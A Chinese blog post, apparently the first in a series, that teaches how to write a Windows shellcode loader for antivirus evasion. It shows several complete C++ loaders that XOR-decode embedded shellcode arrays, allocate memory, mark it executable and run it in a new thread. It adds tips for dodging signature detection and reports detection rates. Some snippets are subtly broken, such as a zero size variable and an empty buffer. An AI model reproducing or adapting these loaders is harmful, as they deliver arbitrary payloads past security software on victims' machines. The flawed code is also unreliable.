这是从0开始写ShellCode加载器的第1篇文章,文章列表,样本demo已上传到GitHub
Windows内存操作
Windows操作系统的内存有三种属性,分别为:可读、可写、可执行,并且操作系统将每个进程的内存都隔离开来,当进程运行时,创建一个虚拟的内存空间,系统的内存管理器将虚拟内存空间映射到物理内存上,所以每个进程的内存都是等大的。
在进程申请时,需要声明这块内存的基本信息:申请内存大小、申请内存起始内存基址、申请内存属性、申请内存对外的权限等。
申请方式:
- HeapAlloc
- malloc
- VirtualAlloc
- new
- LocalAlloc
其实以上所有的内存申请方式都与VirtualAlloc有关,因为VirtualAlloc申请的单位是“页”。而Windows操作系统管理内存的单位也是“页”。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| #include <Windows.h>
int wmain(int argc, TCHAR* argv[]) {
int shellcode_size = 0; DWORD dwThreadId; HANDLE hThread;
unsigned char buf[] = "\xf6\xe2\x88\xa\xa\xa\x6a\x83\xef\x3b\xca\x6e\x81\x5a\x3a\x81\x58\x6\x81\x58\x1e\x81\x78\x22\x5\xbd\x40\x2c\x3b\xf5\xa6\x36\x6b\x76\x8\x26\x2a\xcb\xc5\x7\xb\xcd\xe8\xf8\x58\x5d\x81\x58\x1a\x81\x40\x36\x81\x46\x1b\x72\xe9\x42\xb\xdb\x5b\x81\x53\x2a\xb\xd9\x81\x43\x12\xe9\x30\x43\x81\x3e\x81\xb\xdc\x3b\xf5\xa6\xcb\xc5\x7\xb\xcd\x32\xea\x7f\xfc\x9\x77\xf2\x31\x77\x2e\x7f\xee\x52\x81\x52\x2e\xb\xd9\x6c\x81\x6\x41\x81\x52\x16\xb\xd9\x81\xe\x81\xb\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x55\x55\x50\x81\x18\xe1\x87\x57\x60\xb\x87\x8f\xb8\xa\xa\xa\x5a\x62\x3b\x81\x65\x8d\xf5\xdf\xb1\xfa\xbf\xa8\x5c\x62\xac\x9f\xb7\x97\xf5\xdf\x36\xc\x76\x0\x8a\xf1\xea\x7f\xf\xb1\x4d\x19\x78\x65\x60\xa\x59\xf5\xdf\x69\x6b\x66\x69\x24\x6f\x72\x6f\xa\xa"; int shellcodesize = sizeof(buf);
char* shellcode = (char*)VirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
CopyMemory(shellcode, buf, shellcode_size);
hThread = CreateThread( NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &dwThreadId ); WaitForSingleObject(hThread, INFINITE); return 0; }
|
内存申请优化
申请内存页时,可以在Shellcode读入时,申请一个普通的可读写的内存页,然后再通过VirtualProtect改变它的属性 -> 可执行。这样也能规避掉一些特征查杀。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| int wmain(int argc, TCHAR* argv[]) { int shellcode_size = 0; DWORD dwThreadId; HANDLE hThread; DWORD dwOldProtect;
unsigned char buf[] = ""; shellcode_size = sizeof(buf); for (int i = 0; i < shellcode_size; i++) { buf[i] ^= 10; }
char* shellcode = (char*)VirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE ); CopyMemory(shellcode, buf, shellcode_size);
VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect); hThread = CreateThread( NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &dwThreadId );
WaitForSingleObject(hThread, INFINITE); return 0;
}
|
异或方式优化
通常,我们使用循环去进行异或运算,会使用到异或运算符,这里是较为敏感的操作。InterlockedXorRelease函数可以用于两个值的异或运算,最重要的一点就是,它的操作是原子的,也就是可以达到线程同步。
1 2 3 4 5 6 7
| char buf[] = "\x4d\x59\x3e\xb1\xb1\xb1\xd1\x80\x63\x38\x54\xd5\x3a\xe3\x81\x3a\xe3\xbd\x3a\xe3\xa5\x3a\xc3\x99\x80\x4e\xbe\x6\xfb\x97\x80\x71\x1d\x8d\xd0\xcd\xb3\x9d\x91\x70\x7e\xbc\xb0\x76\xf8\xc4\x5e\xe3\x3a\xe3\xa1\xe6\x95\xbe\x34\xc1\x4e\x4e\x4e\x58\x2a\x4e\x4e\x4e\xb0\x72\x98\x77\xc4\x70\x72\xa\x41\x4\x13\xe7\xdb\xb1\xe2\x4e\x64\xb1"; shellcode_size = sizeof(buf); for (int i = 0; i < shellcode_size; i++) { Sleep(1); _InterlockedXor8(buf+i, 177); }
|
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| #include<Windows.h> int wmain(int argc, TCHAR* argv[]) { int shellcode_size = 0; DWORD dwThreadId; HANDLE hThread; DWORD dwOldProtect; char buf[] = "\x66\x72\x18\x9a\x9a\x9a\xfa\x13\x7f\xab\x5a\xfe\x11\xca\xaa\x11\xc8\x96\x11\xc8\x8e\x11\xe8\xb2\x95\x2d\xd0\xbc\xab\x65\x36\xa6\xfb\xe6\x98\xb6\xba\x5b\x55\x97\x9b\x5d\x78\x68\xc8\xcd\x11\xc8\x8a\x11\xd0\xa6\x11\xd6\x8b\xe2\x79\xd2\x9b\x4b\xcb\x11\xc3\xba\x9b\x49\x11\xd3\x82\x79\xa0\xd3\x11\xae\x11\x9b\x4c\xab\x65\x36\x5b\x55\x97\x9b\x5d\xa2\x7a\xef\x6c\x99\xe7\x62\xa1\xe7\xbe\xef\x7e\xc2\x11\xc2\xbe\x9b\x49\xfc\x11\x96\xd1\x11\xc2\x86\x9b\x49\x11\x9e\x11\x9b\x4a\x13\xde\xbe\xbe\xc1\xc1\xfb\xc3\xc0\xcb\x65\x7a\xc5\xc5\xc0\x11\x88\x71\x17\xc7\xf0\x9b\x17\x1f\x28\x9a\x9a\x9a\xca\xf2\xab\x11\xf5\x1d\x65\x4f\x21\x6a\x2f\x38\xcc\xf2\x3c\xf\x27\x7\x65\x4f\xa6\x9c\xe6\x90\x1a\x61\x7a\xef\x9f\x21\xdd\x89\xe8\xf5\xf0\x9a\xc9\x65\x4f\xf9\xfb\xf6\xf9\xb4\xff\xe2\xff\x9a\x9a"; shellcode_size = sizeof(buf); for (int i = 0; i < shellcode_size; i++) { _InterlockedXor8(buf + i, 7834); } char* shellcode = (char*)VirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE );
CopyMemory(shellcode, buf, shellcode_size); VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect); Sleep(2000); hThread = CreateThread( NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &dwThreadId ); WaitForSingleObject(hThread, INFINITE); return 0; }
|
相比直接申请内存执行,免杀效果好了一些。但远不能让人满意,将shellcode置空,直接对加载器进行查杀,查杀率为23/67,C++申请内存执行的特征太明显。
![image-20220323194042597](/img/loading.gif)